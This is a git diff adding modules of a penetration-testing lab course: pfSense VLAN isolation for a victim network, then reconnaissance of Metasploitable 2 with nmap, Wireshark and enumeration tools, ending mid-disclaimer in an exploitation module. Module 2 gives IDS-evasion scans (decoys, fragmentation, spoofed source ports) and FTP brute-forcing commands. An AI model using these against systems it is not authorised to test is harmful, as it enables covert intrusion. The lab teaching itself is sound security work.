Configure VICTIM_NET Firewall Rules: + - Firewall > Rules > VICTIM_NET + - Delete default allow rule + + ADD RULE 1: Block Victim to Red Team + - Action: Block + - Interface: VICTIM_NET + - Protocol: Any + - Source: VICTIM_NET net + - Destination: RED_TEAM net + - Description: CRITICAL - Prevent victim from reaching attacker + - Log: Check "Log packets matched by this rule" + - Click "Save" + + ADD RULE 2: Block Victim to Blue Team + - Action: Block + - Source: VICTIM_NET net + - Destination: BLUE_TEAM net + - Description: Isolate victims from SOC network + - Click "Save" + + ADD RULE 3: Block Victim to WAN (Internet) + - Action: Block + - Source: VICTIM_NET net + - Destination: WAN net + - Description: Prevent compromised systems from calling home + - Log: Check + - Click "Save" + + ADD RULE 4: Allow Victim to pfSense (for DNS, DHCP) + - Action: Pass + - Source: VICTIM_NET net + - Destination: This Firewall (self) + - Description: Allow access to pfSense services + - Click "Save" + + ADD RULE 5: Block Victim Everything Else + - Action: Block + - Source: VICTIM_NET net + - Destination: Any + - Description: Default deny all victim traffic + - Log: Check + - Click "Save" > "Apply Changes" +``` + +--- + +## LAB 1.6: VALIDATION & TESTING + +**CRITICAL: Do not proceed to Module 2 until all tests pass!** + +### Test 1: Red Team to Victim Connectivity + +``` +1. Create Test VM in Proxmox: + - Create Ubuntu Server VM + - VM ID: 201 + - Name: Kali-Test + - Hardware > Network > Edit: Bridge vmbr0, VLAN Tag: 200 + +2. Boot VM and verify network: + - Login to VM console + - Check IP: ip addr show + - Should have: 10.10.2.x (from DHCP) + +3. Test gateway reachability: + - ping 10.10.2.1 + - Should succeed (pfSense RED_TEAM gateway) + +4. Test Victim network reachability: + - Create second VM with VLAN Tag: 400 + - Note its IP (10.10.4.x) + - From Red Team VM: ping 10.10.4.x + - Should succeed (Rule allows Red → Victim) +``` + +### Test 2: Victim to Red Team Blocked + +``` +1. From Victim VM (VLAN 400): + - ping 10.10.2.1 (Red Team gateway) + - Should FAIL (timeout) + +2. Verify in pfSense logs: + - Status > System Logs > Firewall + - Should see: "Block" entries from 10.10.4.x to 10.10.2.x +``` + +### Test 3: Victim to Internet Blocked + +``` +1. From Victim VM: + - ping 8.8.8.8 + - Should FAIL + +2. Try DNS lookup: + - nslookup google.com + - Should timeout (no WAN access) +``` + +### Test 4: Red Team Internet Access + +``` +1. From Red Team VM: + - ping 8.8.8.8 + - Should succeed + +2. Update package lists: + - sudo apt update + - Should work (confirms internet access) +``` + +### Test 5: Isolation from Home Network + +``` +1. Find your home network device IP (e.g., your desktop): + - Example: 192.168.1.50 + +2. From Red Team VM: + - ping 192.168.1.50 + - Should FAIL (Red Team cannot reach home network) + +3. From Victim VM: + - ping 192.168.1.50 + - Should FAIL (critical security validation!) +``` + +--- + +## TROUBLESHOOTING GUIDE + +### Issue: VM not getting DHCP address + +``` +Proxmox side: +- VM > Hardware > Network Device > Edit +- Verify: Bridge = vmbr0, VLAN Tag correct, "Connected" checked + +pfSense side: +- Status > Services +- Verify DHCP service is running for that interface +- Services > DHCP Server > [Interface] +- Verify range is configured and enabled + +Inside VM: +# Linux +sudo dhclient -r # Release +sudo dhclient # Renew + +# Windows +ipconfig /release +ipconfig /renew +``` + +### Issue: Can't access pfSense WebGUI + +``` +1. Verify pfSense is running: + - Proxmox > VM 100 > Console + - Should see pfSense menu + +2. Check which VM you're accessing from: + - Must be on same VLAN or management network + - If on VLAN 200: access https://10.10.2.1 + - If on management: access https://10.10.1.1 + +3. Disable HTTPS redirect temporarily: + - pfSense console: Option 8 (Shell) + - pfSsh.php playback disablehttpredirect + - Try http://10.10.1.1 +``` + +### Issue: VLAN tags not working + +``` +1. Verify Proxmox bridge is VLAN-aware: + - SSH to Proxmox + - grep -A5 "vmbr0" /etc/network/interfaces + - Must show: bridge-vlan-aware yes + +2. Verify VM has VLAN tag set: + - Proxmox > VM > Hardware > Network Device + - VLAN Tag field must have number (200, 300, 400) + - NOT blank for tagged traffic + +3. Restart networking: + - Proxmox: systemctl restart networking (CAREFUL - may lose connection) + - Or reboot VM +``` + +### Issue: Firewall rules not working + +``` +1. Check rule order: + - Firewall > Rules > [Interface] + - Remember: First match wins + - Block rules should be BEFORE allow rules for specificity + +2. Verify interface is correct: + - Rule must be on the INCOMING interface + - To block Red→Victim: Rule goes on RED_TEAM interface + +3. Clear states: + - Diagnostics > States > Reset States + - Click "Reset" (clears connection state table) + - Re-test + +4. Enable logging: + - Edit rule > Check "Log packets matched by this rule" + - Save > Apply + - Test traffic + - Status > System Logs > Firewall (see if rule matched) +``` + +--- + +## PROFESSOR'S GUIDANCE + +### Common Mistakes to Avoid + +**1. Asymmetric Routing:** +- Ensure all VMs use pfSense as their gateway (10.10.X.1) +- Do NOT configure VMs with your home router as gateway + +**2. Forgetting to Apply Changes:** +- pfSense requires clicking "Apply Changes" after rule modifications +- Red banner at top indicates unapplied changes + +**3. Wrong VLAN Tag Placement:** +- Tags go on VM's network interface in Proxmox +- NOT on pfSense WAN interface +- pfSense LAN interface (vtnet1) should be untagged, then create VLAN subinterfaces + +**4. Testing from Wrong VM:** +- If testing VLAN 200 rules, you must be in a VM with VLAN Tag 200 +- Can't test from Proxmox host shell + +### Why This Module is Critical + +Every penetration test begins with a safe, isolated environment. If you skip proper network segmentation, you risk: +- Malware escaping to your home network +- Accidentally scanning your ISP's infrastructure (illegal) +- Bricking your personal devices with exploit tools + +**Real-world parallel:** Enterprise networks use VLANs to separate: +- Guest Wi-Fi (untrusted) +- Employee workstations (medium trust) +- Server VLAN (high trust) +- Management VLAN (admin only) + +Your lab mirrors this architecture. Master it here, understand it everywhere. + +### Time Investment +- Initial setup: 2-4 hours +- Troubleshooting (first time): 1-3 hours +- Validation testing: 30 minutes + +**Total: 4-8 hours** + +### Next Steps +Once all validation tests pass: +1. Take Proxmox backup of pfSense VM: Backup > Backup Now +2. **Snapshot pfSense VM** (revert point if you misconfigure later) +3. Document your network diagram (draw VLANs, IP ranges, firewall rules) +4. Proceed to **MOD2: Reconnaissance & Network Traffic Analysis** + +--- + +## KNOWLEDGE CHECK + +Before proceeding, you should confidently answer: + +1. **What is the purpose of VLAN tagging?** + - Answer: Allows multiple isolated networks to share physical infrastructure + +2. **Which pfSense interface do firewall rules apply to?** + - Answer: The incoming interface (where traffic enters) + +3. **Why must VICTIM_NET be blocked from reaching WAN?** + - Answer: Prevents compromised systems from communicating with attacker C2 servers + +4. **If a VM in VLAN 200 can't get DHCP, what are 3 things to check?** + - Answer: (1) VLAN tag set in Proxmox, (2) DHCP enabled in pfSense, (3) VM cable "connected" + +5. **What does "First match wins" mean in firewall rules?** + - Answer: Rules are processed top-to-bottom; once a rule matches, processing stops + +--- + +**END OF MODULE 1** + +**Checklist before MOD2:** +- [ ] pfSense firewall is configured and accessible +- [ ] VLANs 200, 300, 400 are created and assigned +- [ ] Red Team VM can ping Victim network +- [ ] Victim VM cannot ping Red Team network +- [ ] Victim VM cannot ping internet +- [ ] Red Team VM can access internet +- [ ] pfSense firewall logs are recording blocked traffic +- [ ] Full Proxmox backup of pfSense VM exists \ No newline at end of file diff --git a/MOD2_Recon_and_NTA.md b/MOD2_Recon_and_NTA.md new file mode 100644 index 0000000..8ba8dc2 --- /dev/null +++ b/MOD2_Recon_and_NTA.md @@ -0,0 +1,799 @@ +# FILE: MOD2_Recon_and_NTA.md +# MODULE 2: RECONNAISSANCE & NETWORK TRAFFIC ANALYSIS + +## Learning Objectives +By completing this module, you will: +- Perform active reconnaissance using Nmap to identify open ports and services +- Understand TCP/UDP scanning techniques and their network signatures +- Capture and analyze network traffic using Wireshark and tcpdump +- Enumerate service versions and detect operating systems +- Recognize the difference between stealth and noisy scanning techniques +- Document findings for exploitation planning + +--- + +## Key Concepts + +### Active Reconnaissance +**Active Recon** involves directly interacting with target systems to gather information. Unlike passive recon (Google searches, WHOIS lookups), active techniques send packets to the target and are **detectable** by IDS/IPS systems. + +### Network Traffic Analysis (NTA) +**NTA** is the process of capturing and dissecting raw network packets to: +- Establish baseline "normal" traffic patterns +- Detect anomalous scanning behavior +- Investigate security incidents +- Validate exploit success + +### The TCP Three-Way Handshake +``` +Client Server + | | + |-------- SYN ---------> | (Client initiates) + |<----- SYN-ACK -------- | (Server acknowledges) + |-------- ACK ---------> | (Client confirms - connection established) +``` + +### Stealth Scanning (SYN Scan) +``` +Client Server + | | + |-------- SYN ---------> | (Probe port) + |<----- SYN-ACK -------- | (Port is OPEN) + |-------- RST ---------> | (Client aborts - never completes handshake) +``` +**Why stealth?** Never fully establishes connection, harder to log, faster. + +--- + +## LAB 2.1: DEPLOY TARGET INFRASTRUCTURE + +### Deploy Metasploitable 2 (Vulnerable Linux Target) + +``` +1. Download Metasploitable 2: + - Source: https://sourceforge.net/projects/metasploitable/files/Metasploitable2/ + - File: metasploitable-linux-2.0.0.zip + - Extract to get .vmdk file + +2. Upload to Proxmox: + - SSH to Proxmox or use Shell + - Navigate to: cd /var/lib/vz/images/ + - Create directory: mkdir 401 + - Upload .vmdk file to this directory + +3. Create Proxmox VM: + - VM ID: 401 + - Name: Metasploitable2 + - OS: Linux 5.x - 2.6 Kernel + - CPU: 1 core + - RAM: 512 MB + - Do NOT add disk yet (we'll import existing) + +4. Import Existing Disk: + - SSH to Proxmox + - Run: qm importdisk 401 /var/lib/vz/images/401/Metasploitable.vmdk local-lvm + - Wait for import to complete + +5. Attach Disk to VM: + - Proxmox GUI > VM 401 > Hardware + - Select "Unused Disk 0" + - Click "Edit" + - Bus/Device: IDE / 0 + - Click "Add" + +6. Configure Network: + - Hardware > Network Device > Edit + - Bridge: vmbr0 + - VLAN Tag: 400 (VICTIM_NET) + - Model: Intel E1000 + - Click "OK" + +7. Set Boot Order: + - Options > Boot Order + - Enable only: ide0 + - Click "OK" + +8. Start VM: + - Console > Start + - Login: msfadmin / msfadmin + +9. Get IP Address: + - Command: ifconfig + - Note eth0 IP address (should be 10.10.4.x from DHCP) + - Or set static: sudo nano /etc/network/interfaces + auto eth0 + iface eth0 inet static + address 10.10.4.10 + netmask 255.255.255.0 + gateway 10.10.4.1 + - Restart networking: sudo /etc/init.d/networking restart +``` + +### Deploy Kali Linux (Attacker Platform) + +``` +1. Download Kali Linux: + - Source: https://www.kali.org/get-kali/#kali-virtual-machines + - Choose: 64-bit Proxmox/QEMU image (.qcow2) + +2. Import to Proxmox: + - Upload .qcow2 to Proxmox storage + - Or use qm importdisk method (similar to Metasploitable) + +3. Create Kali VM: + - VM ID: 201 + - Name: Kali-RedTeam + - OS: Linux 6.x + - CPU: 2 cores + - RAM: 4096 MB (4 GB recommended for tools) + - Disk: Import existing .qcow2 + - Network: vmbr0, VLAN Tag: 200 (RED_TEAM) + +4. Start and Login: + - Default credentials: kali / kali + - Change password on first login: passwd + +5. Verify Network: + - Command: ip addr show eth0 + - Should have: 10.10.2.x + - Test gateway: ping 10.10.2.1 + - Test target reach: ping 10.10.4.10 +``` + +--- + +## LAB 2.2: NMAP FUNDAMENTALS + +### Understanding Nmap Scan Types + +| Scan Type | Flag | Description | Requires Root | Stealthy | +|-----------|------|-------------|---------------|----------| +| TCP SYN | -sS | Half-open scan, doesn't complete handshake | Yes | High | +| TCP Connect | -sT | Full connection, uses OS TCP stack | No | Low | +| UDP | -sU | Scans UDP ports (slow) | Yes | Medium | +| ACK | -sA | Tests firewall rules | Yes | Medium | +| NULL/FIN/Xmas | -sN/-sF/-sX | Advanced evasion techniques | Yes | High | + +### LAB 2.2.1: Basic Port Scanning + +**From Kali Linux terminal:** + +```bash +# PREREQUISITE: Verify target reachability +ping -c 4 10.10.4.10 +# Expected: 4 packets transmitted, 4 received + +# SCAN 1: Quick scan of common ports +nmap 10.10.4.10 +# Default: Scans top 1000 ports using TCP SYN scan +# Expected output: List of open ports (21, 22, 23, 25, 80, 139, 445, 3306, etc.) + +# SCAN 2: Scan specific ports +nmap -p 80,443,22 10.10.4.10 +# -p = specify ports (can be range: 1-100 or list: 80,443) + +# SCAN 3: Scan all 65,535 ports (SLOW - 5-10 minutes) +sudo nmap -p- 10.10.4.10 +# -p- = all ports (1-65535) +# Requires sudo for SYN scan + +# SCAN 4: Fast scan (top 100 ports only) +nmap -F 10.10.4.10 +# -F = fast mode + +# SCAN 5: Scan port range +nmap -p 1-1024 10.10.4.10 +# Scans well-known ports (1-1024) +``` + +**Deliverable:** Save full port scan output to file: +```bash +sudo nmap -p- 10.10.4.10 -oN metasploitable_fullscan.txt +# -oN = output normal format +``` + +--- + +### LAB 2.2.2: Service Version Detection + +```bash +# SCAN 6: Detect service versions +sudo nmap -sV 10.10.4.10 +# -sV = Version detection +# Expected: Shows specific software versions (e.g., "vsftpd 2.3.4", "Apache httpd 2.2.8") + +# SCAN 7: Aggressive scan (OS + version + scripts + traceroute) +sudo nmap -A 10.10.4.10 +# -A = Aggressive mode (combines -sV, -O, -sC, --traceroute) +# Takes longer but provides comprehensive info + +# SCAN 8: OS detection only +sudo nmap -O 10.10.4.10 +# -O = OS detection (analyzes TCP/IP stack fingerprint) +# Expected: "Linux 2.6.X" + +# SCAN 9: Script scanning +sudo nmap -sC 10.10.4.10 +# -sC = Run default NSE scripts (safe scripts for enumeration) +# Example scripts: http-title, ssh-hostkey, smb-os-discovery + +# SCAN 10: Specific script +nmap --script=http-enum -p 80 10.10.4.10 +# Enumerates directories on web server +``` + +**Understanding Version Detection Output:** +``` +PORT STATE SERVICE VERSION +21/tcp open ftp vsftpd 2.3.4 <-- Vulnerable version! +22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 +23/tcp open telnet Linux telnetd +80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) +``` + +**Deliverable:** Save version scan with aggressive mode: +```bash +sudo nmap -A 10.10.4.10 -oA metasploitable_aggressive +# -oA = output all formats (normal, XML, grepable) +# Creates: metasploitable_aggressive.nmap, .xml, .gnmap +``` + +--- + +### LAB 2.2.3: Scan Timing and Evasion + +```bash +# TIMING TEMPLATES: +# -T0 (Paranoid): Extremely slow, for IDS evasion (5 min/port) +# -T1 (Sneaky): Very slow +# -T2 (Polite): Slows down to reduce bandwidth +# -T3 (Normal): Default +# -T4 (Aggressive): Faster, assumes reliable network +# -T5 (Insane): Very fast, may miss ports + +# SCAN 11: Aggressive timing (use in labs only!) +sudo nmap -T4 -p- 10.10.4.10 +# Faster than default, good for CTFs/labs + +# SCAN 12: Stealthy timing (IDS evasion) +sudo nmap -T1 -sS -p 80,443 10.10.4.10 +# Slow scan to avoid detection thresholds + +# SCAN 13: Fragmented packets (firewall evasion) +sudo nmap -f 10.10.4.10 +# -f = fragment packets (split into tiny pieces) + +# SCAN 14: Decoy scan (hide among fake sources) +sudo nmap -D RND:10 10.10.4.10 +# -D RND:10 = Use 10 random decoy IPs +# Target sees scans from multiple sources (harder to identify real attacker) + +# SCAN 15: Spoof source port (bypass firewall rules) +sudo nmap --source-port 53 10.10.4.10 +# Appear to come from DNS port 53 (often allowed outbound) +``` + +**Real-World Scenario:** +```bash +# Penetration test scenario: Enumerate without triggering alarms +sudo nmap -sS -T2 -p 1-1000 --max-rate 10 10.10.4.10 +# -sS = SYN scan (stealth) +# -T2 = Polite timing +# --max-rate 10 = Max 10 packets/second (very slow) +``` + +--- + +## LAB 2.3: NETWORK TRAFFIC ANALYSIS WITH WIRESHARK + +### Understanding Packet Capture + +**Wireshark** is a GUI packet analyzer. **tcpdump** is command-line equivalent. + +### LAB 2.3.1: Capturing Nmap Scan Traffic + +**Step-by-Step:** + +```bash +# TERMINAL 1: Start packet capture +sudo tcpdump -i eth0 -w nmap_scan.pcap +# -i eth0 = capture on interface eth0 +# -w = write to file +# Leave running... + +# TERMINAL 2: Perform nmap scan +sudo nmap -sS -p 80,443,22 10.10.4.10 + +# TERMINAL 1: Stop capture (Ctrl+C after scan completes) +# Press Ctrl+C + +# Verify capture file +ls -lh nmap_scan.pcap +# Should show file size (>0 bytes) +``` + +### LAB 2.3.2: Analyzing with Wireshark GUI + +```bash +# Open Wireshark +sudo wireshark nmap_scan.pcap & +# & = run in background +``` + +**Wireshark Analysis Steps:** + +``` +1. FILTER FOR TCP SYN PACKETS: + - Display filter: tcp.flags.syn == 1 && tcp.flags.ack == 0 + - Shows only SYN packets (scan probes) + +2. OBSERVE STEALTH SCAN BEHAVIOR: + - Find a packet to open port (e.g., port 80) + - Click on SYN packet from Kali + - Look at packet list: + * Packet 1: SYN (from Kali to target port 80) + * Packet 2: SYN-ACK (target responds - port is OPEN) + * Packet 3: RST (Kali aborts - never completes connection) + +3. FILTER FOR CLOSED PORT RESPONSE: + - Display filter: tcp.port == 443 (if 443 is closed) + - Observe: + * SYN from Kali + * RST-ACK from target (port CLOSED) + +4. ANALYZE PACKET TIMING: + - View > Time Display Format > Seconds Since Previous Displayed Packet + - Note delay between probes (T4 timing = minimal delay) + +5. FOLLOW TCP STREAM (for completed connections): + - Right-click any packet > Follow > TCP Stream + - See full conversation in ASCII + - Won't work for SYN scans (no data exchanged) + +6. EXPORT PACKET DETAILS: + - File > Export Specified Packets + - Save as: syn_scan_analysis.pcap +``` + +**Key Wireshark Filters:** + +``` +tcp.flags.syn == 1 && tcp.flags.ack == 0 → Only SYN packets +tcp.flags.reset == 1 → RST packets +ip.src == 10.10.2.x → Traffic from Kali +ip.dst == 10.10.4.10 → Traffic to target +tcp.port == 80 → Port 80 traffic +http → HTTP protocol +``` + +--- + +### LAB 2.3.3: Identifying Scan Types in PCAPs + +**Exercise:** Capture different scan types and compare signatures + +```bash +# Capture 1: SYN scan +sudo tcpdump -i eth0 -w syn_scan.pcap & +sudo nmap -sS -p 80 10.10.4.10 +sudo pkill tcpdump + +# Capture 2: TCP Connect scan +sudo tcpdump -i eth0 -w connect_scan.pcap & +nmap -sT -p 80 10.10.4.10 # No sudo (uses full connection) +sudo pkill tcpdump + +# Capture 3: UDP scan +sudo tcpdump -i eth0 -w udp_scan.pcap & +sudo nmap -sU -p 53,161 10.10.4.10 +sudo pkill tcpdump + +# Capture 4: NULL scan +sudo tcpdump -i eth0 -w null_scan.pcap & +sudo nmap -sN -p 80 10.10.4.10 +sudo pkill tcpdump +``` + +**Compare in Wireshark:** + +``` +SYN Scan: SYN → SYN-ACK → RST (never completes) +Connect Scan: SYN → SYN-ACK → ACK → RST-ACK (full connection, then close) +UDP Scan: UDP packet → ICMP "port unreachable" (if closed) +NULL Scan: Packet with NO flags set → RST (if closed), no response (if open) +``` + +**Deliverable:** Screenshot showing SYN scan packet sequence in Wireshark with annotations. + +--- + +## LAB 2.4: SERVICE ENUMERATION + +### Enumerating Common Services + +**Goal:** Gather detailed information about discovered services for exploitation planning. + +### LAB 2.4.1: FTP Enumeration (Port 21) + +```bash +# Check if anonymous login allowed +nmap --script=ftp-anon -p 21 10.10.4.10 +# If anonymous allowed: Shows "Anonymous FTP login allowed" + +# Manual FTP check +ftp 10.10.4.10 +# Username: anonymous +# Password: (just press Enter) +# Commands: +# ls - list files +# cd - change directory +# get file - download file +# bye - exit + +# Brute-force FTP credentials (ethical use only!) +nmap --script=ftp-brute -p 21 10.10.4.10 +# Uses common username/password combinations +``` + +### LAB 2.4.2: SSH Enumeration (Port 22) + +```bash +# Get SSH banner and supported algorithms +nmap --script=ssh2-enum-algos -p 22 10.10.4.10 + +# Check for known SSH vulnerabilities +nmap --script=ssh-* -p 22 10.10.4.10 + +# Manual banner grab +nc 10.10.4.10 22 +# Shows: SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1 +# Press Ctrl+C to exit + +# Attempt SSH login (if you have credentials) +ssh msfadmin@10.10.4.10 +# Password: msfadmin (on Metasploitable) +``` + +### LAB 2.4.3: HTTP/HTTPS Enumeration (Port 80/443) + +```bash +# Enumerate web directories +nmap --script=http-enum -p 80 10.10.4.10 +# Finds: /phpMyAdmin/, /test/, /twiki/, etc. + +# Get HTTP headers +curl -I http://10.10.4.10 +# Shows server version: Apache/2.2.8 (Ubuntu) + +# Web vulnerability scanning +nikto -h http://10.10.4.10 +# Comprehensive web server scanner (takes 5-10 minutes) +# Identifies: Outdated software, misconfigurations, known vulnerabilities + +# Directory brute-forcing +gobuster dir -u http://10.10.4.10 -w /usr/share/wordlists/dirb/common.txt +# -u = URL +# -w = wordlist +# Finds hidden directories +``` + +### LAB 2.4.4: SMB Enumeration (Port 139/445) + +```bash +# Enumerate SMB shares +nmap --script=smb-enum-shares -p 445 10.10.4.10 +# Lists available network shares + +# Enumerate SMB users +nmap --script=smb-enum-users -p 445 10.10.4.10 +# Lists local user accounts + +# OS discovery via SMB +nmap --script=smb-os-discovery -p 445 10.10.4.10 +# Shows: OS, Computer name, Domain + +# Check for SMB vulnerabilities (EternalBlue, etc.) +nmap --script=smb-vuln* -p 445 10.10.4.10 +# Scans for known SMB exploits + +# Manual SMB enumeration +smbclient -L //10.10.4.10 -N +# -L = list shares +# -N = no password +``` + +### LAB 2.4.5: MySQL Enumeration (Port 3306) + +```bash +# Check for default credentials +nmap --script=mysql-empty-password -p 3306 10.10.4.10 + +# Enumerate MySQL users +nmap --script=mysql-users -p 3306 10.10.4.10 + +# Get MySQL info +nmap --script=mysql-info -p 3306 10.10.4.10 + +# Manual connection (if credentials known) +mysql -h 10.10.4.10 -u root +# Try common passwords: root, toor, admin, password +``` + +--- + +## LAB 2.5: COMPREHENSIVE TARGET ASSESSMENT + +### Create Full Reconnaissance Report + +**Step-by-Step Workflow:** + +```bash +# 1. CREATE WORKING DIRECTORY +mkdir -p ~/recon/metasploitable +cd ~/recon/metasploitable + +# 2. COMPREHENSIVE NMAP SCAN +sudo nmap -sS -sV -sC -A -p- -T4 10.10.4.10 -oA full_scan +# Saves: full_scan.nmap, full_scan.xml, full_scan.gnmap + +# 3. VULNERABILITY SCAN +nmap --script=vuln -p- 10.10.4.10 -oN vulnerability_scan.txt + +# 4. UDP SCAN (top ports only - UDP is slow) +sudo nmap -sU --top-ports 100 10.10.4.10 -oN udp_scan.txt + +# 5. WEB ENUMERATION +nikto -h http://10.10.4.10 -o nikto_scan.txt + +# 6. SMB ENUMERATION +enum4linux -a 10.10.4.10 > smb_enum.txt +# -a = all enumeration (users, shares, groups, etc.) + +# 7. ORGANIZE FINDINGS +cat full_scan.nmap | grep "open" > open_ports.txt +# Extract only open ports + +# 8. CREATE SUMMARY +cat << EOF > RECONNAISSANCE_SUMMARY.txt +TARGET: Metasploitable 2 (10.10.4.10) +SCAN DATE: $(date) +SCANNER: Kali Linux (10.10.2.x) + +OPEN PORTS: +$(cat open_ports.txt) + +HIGH-RISK SERVICES IDENTIFIED: +- vsftpd 2.3.4 (Port 21) - Known backdoor vulnerability +- SSH 4.7p1 (Port 22) - Outdated, weak key exchange +- Samba 3.x (Port 139/445) - Multiple known exploits +- MySQL (Port 3306) - Empty root password + +NEXT STEPS: +1. Research CVEs for identified service versions +2. Prepare exploit modules in Metasploit (Module 3) +3. Document attack vectors for reporting +EOF + +cat RECONNAISSANCE_SUMMARY.txt +``` + +**Deliverable:** Full reconnaissance directory with all scan outputs and summary report. + +--- + +## NETWORK TRAFFIC ANALYSIS EXERCISES + +### Exercise 1: Baseline vs Anomalous Traffic + +```bash +# CAPTURE NORMAL TRAFFIC +sudo tcpdump -i eth0 -w normal_traffic.pcap -c 1000 +# -c 1000 = capture 1000 packets +# Let normal background traffic capture for 1 minute +# Then Ctrl+C + +# CAPTURE SCAN TRAFFIC +sudo tcpdump -i eth0 -w scan_traffic.pcap & +sudo nmap -T4 -p- 10.10.4.10 +sudo pkill tcpdump + +# COMPARE IN WIRESHARK +wireshark normal_traffic.pcap & +wireshark scan_traffic.pcap & + +# What to look for in scan traffic: +# - High packet rate (thousands of SYNs per second) +# - Sequential destination ports (80, 81, 82, 83...) +# - Many RST packets (aborted connections) +# - Single source IP targeting single destination +``` + +### Exercise 2: Protocol Distribution Analysis + +``` +1. Open scan_traffic.pcap in Wireshark +2. Statistics > Protocol Hierarchy + - Shows % of each protocol (TCP, UDP, ICMP) + - Scan traffic = 99% TCP SYN +3. Statistics > Conversations + - Shows IP pairs and packet counts + - Scan = One conversation with thousands of packets +4. Statistics > I/O Graph + - Visualize packet rate over time + - Scan = Sharp spike during scan period +``` + +**Deliverable:** Screenshot of Wireshark Protocol Hierarchy showing scan traffic composition. + +--- + +## TROUBLESHOOTING GUIDE + +### Issue: Nmap shows "Host seems down" + +```bash +# Check connectivity first +ping 10.10.4.10 + +# If ping works but nmap doesn't: +sudo nmap -Pn 10.10.4.10 +# -Pn = Skip host discovery (assume host is up) + +# Check firewall rules in pfSense +# Ensure RED_TEAM → VICTIM_NET is allowed +``` + +### Issue: Wireshark shows "Permission denied" + +```bash +# Run with sudo +sudo wireshark + +# Or add user to wireshark group (better practice) +sudo usermod -aG wireshark $USER +# Logout and login for changes to take effect +``` + +### Issue: tcpdump captures no packets + +```bash +# Verify correct interface +ip addr show +# Use correct interface name (eth0, ens18, etc.) + +# Check if interface is up +sudo ip link set eth0 up + +# Verify you're capturing right traffic +sudo tcpdump -i eth0 -n +# -n = Don't resolve hostnames (faster) +# Should see packets scrolling +``` + +### Issue: Nmap scan is extremely slow + +```bash +# Use faster timing +sudo nmap -T4 10.10.4.10 + +# Scan fewer ports initially +nmap -F 10.10.4.10 # Fast mode (100 ports) + +# Disable ping check +sudo nmap -Pn -T4 -p 1-1000 10.10.4.10 +``` + +--- + +## PROFESSOR'S GUIDANCE + +### Understanding Reconnaissance in Real Engagements + +**Lab environment vs Production:** +- **Lab:** Aggressive scans (T4, T5) are fine - you own the network +- **Production:** Use T2-T3, rate limiting, blend with normal traffic +- **Legal requirement:** Always have written authorization before scanning + +### Reconnaissance is Not Just Tool Execution + +**Poor approach:** "I ran nmap -A and got results" + +**Professional approach:** +1. **Scope definition:** What am I allowed to scan? +2. **Passive recon first:** OSINT, DNS lookups, public records +3. **Strategic scanning:** Scan incrementally (common ports → all ports) +4. **Service enumeration:** Deep dive into discovered services +5. **Vulnerability mapping:** Match versions to CVE databases +6. **Documentation:** Detailed notes for exploitation phase +7. **Traffic analysis:** Understand what your tools do on the wire + +### Common Student Mistakes + +**1. Running scans without capturing traffic:** +- You learn HOW attacks work by seeing packets +- Future you (as defender) needs to recognize these patterns + +**2. Not saving scan outputs:** +- Use `-oA` to save all formats +- XML output can be imported into tools like Metasploit + +**3. Ignoring UDP services:** +- UDP is stateless, harder to scan, but critical (DNS, SNMP, TFTP) +- Always include UDP scans in assessments + +**4. Over-relying on automated tools:** +- Nikto finds 100 issues → 95 are false positives +- Manual verification is essential + +### Time Investment +- Initial VM deployment: 1-2 hours +- Nmap fundamentals: 2-3 hours +- Wireshark packet analysis: 2-4 hours (most important!) +- Service enumeration: 2-3 hours +- Comprehensive assessment: 1-2 hours + +**Total: 8-14 hours** + +### Real-World Skills Developed + +By mastering this module, you can: +- Perform network reconnaissance in penetration tests +- Analyze packet captures for incident response +- Identify suspicious scanning in SOC role +- Understand attacker methodology (kill chain Phase 1: Reconnaissance) + +--- + +## KNOWLEDGE CHECK + +Before proceeding to MOD3, you should be able to: + +1. **Explain the difference between -sS and -sT scans** + - Answer: -sS (SYN scan) doesn't complete handshake (stealth), -sT (Connect) uses full connection + +2. **What does a SYN-ACK response indicate?** + - Answer: Port is OPEN and accepting connections + +3. **Why do attackers use decoy scans (-D)?** + - Answer: To hide their real IP among fake sources, making attribution harder + +4. **In Wireshark, how do you filter for only SYN packets?** + - Answer: `tcp.flags.syn == 1 && tcp.flags.ack == 0` + +5. **Name 3 high-risk services found on Metasploitable** + - Answer: vsftpd 2.3.4 (backdoor), Samba 3.x (exploitable), MySQL (empty password) + +6. **What tool enumerates SMB shares?** + - Answer: `enum4linux`, `smbclient`, or `nmap --script=smb-enum-shares` + +7. **Why should UDP scans use --top-ports?** + - Answer: UDP scans are slow (no handshake confirmation), limiting to top ports is practical + +--- + +## DELIVERABLES CHECKLIST + +Before proceeding to Module 3, submit/complete: + +- [ ] Full nmap scan output (-oA format) +- [ ] Wireshark PCAP of SYN scan with annotations +- [ ] Nikto web scan results +- [ ] SMB enumeration output (enum4linux) +- [ ] Reconnaissance summary report +- [ ] Screenshots showing: + - [ ] TCP three-way handshake in Wireshark + - [ ] SYN scan RST behavior + - [ ] Wireshark protocol hierarchy of scan traffic + - [ ] Nmap version detection output + +--- + +**END OF MODULE 2** + +**Next Steps:** +1. Review all captured PCAPs - understand what each scan looks like +2. Save all scan outputs to `~/recon/metasploitable/` directory +3. Take snapshot of Kali VM: "Post-MOD2-Reconnaissance" +4. Proceed to **MOD3: Exploitation & Post-Exploitation** + +**Remember:** Every offensive technique you learn has a defensive counter. When you configure Security Onion in MOD4, you will create rules to detect these exact scans! \ No newline at end of file diff --git a/MOD3_Exploitation.md b/MOD3_Exploitation.md new file mode 100644 index 0000000..b3d3ad9 --- /dev/null +++ b/MOD3_Exploitation.md @@ -0,0 +1,58 @@ +# FILE: MOD3_Exploitation.md +# MODULE 3: EXPLOITATION & POST-EXPLOITATION + +## ⚠️ ETHICAL USE DISCLAIMER +**This module teaches offensive security techniques for AUTHORIZED ENVIRONMENTS ONLY.** +- All exploits demonstrated are against VMs you own +- Never use these techniques on systems without explicit written permission +- Unauthorized computer access is illegal (Computer Fraud and Abuse Act, 18 U.S.C. § 1030) +- Purpose: Learn offensive techniques to better defend systems + +## Learning Objectives +By completing this module, you will: +- Match discovered services to known CVEs (Common Vulnerabilities and Exposures) +- Configure and execute exploits using Metasploit Framework +- Understand the difference between bind and reverse shells +- Perform post-exploitation enumeration and privilege escalation +- Maintain persistent access to compromised systems (lab environment only) +- Document exploitation chains for penetration testing reports + +--- + +## Key Concepts + +### Vulnerability Assessment +**CVE (Common Vulnerabilities and Exposures):** Standardized identifiers for publicly known security vulnerabilities. +- Example: CVE-2011-2523 (vsftpd 2.3.4 backdoor) +- Database: 